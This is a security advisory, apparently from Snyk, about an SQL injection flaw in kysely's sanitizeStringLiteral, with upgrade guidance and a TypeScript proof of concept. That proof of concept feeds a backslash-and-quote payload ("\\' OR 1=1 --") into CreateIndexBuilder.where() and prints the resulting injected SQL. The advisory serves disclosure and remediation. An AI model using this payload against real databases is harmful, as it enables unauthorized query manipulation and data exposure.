Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade kysely to version 0.28.14 or higher.
kysely is a Type safe SQL query builder
Affected versions of this package are vulnerable to SQL Injection via the sanitizeStringLiteral function. An attacker can execute arbitrary SQL commands by supplying specially crafted input containing backslashes and quotes, which are not properly escaped, allowing manipulation of the resulting SQL query.
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
interface Database {
orders: {
id: number
status: string
order_nr: string
}
}
const db = new Kysely<Database>({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
database: 'test',
user: 'root',
password: 'password',
}),
}),
})
// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"
const query = db.schema
.createIndex('orders_status_index')
.on('orders')
.column('status')
.where('status', '=', userInput)
// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
// WHERE `status` = '\' ← string literal containing a single quote
// ' OR 1=1 --' ← injected SQL (OR 1=1), comment eats trailing quote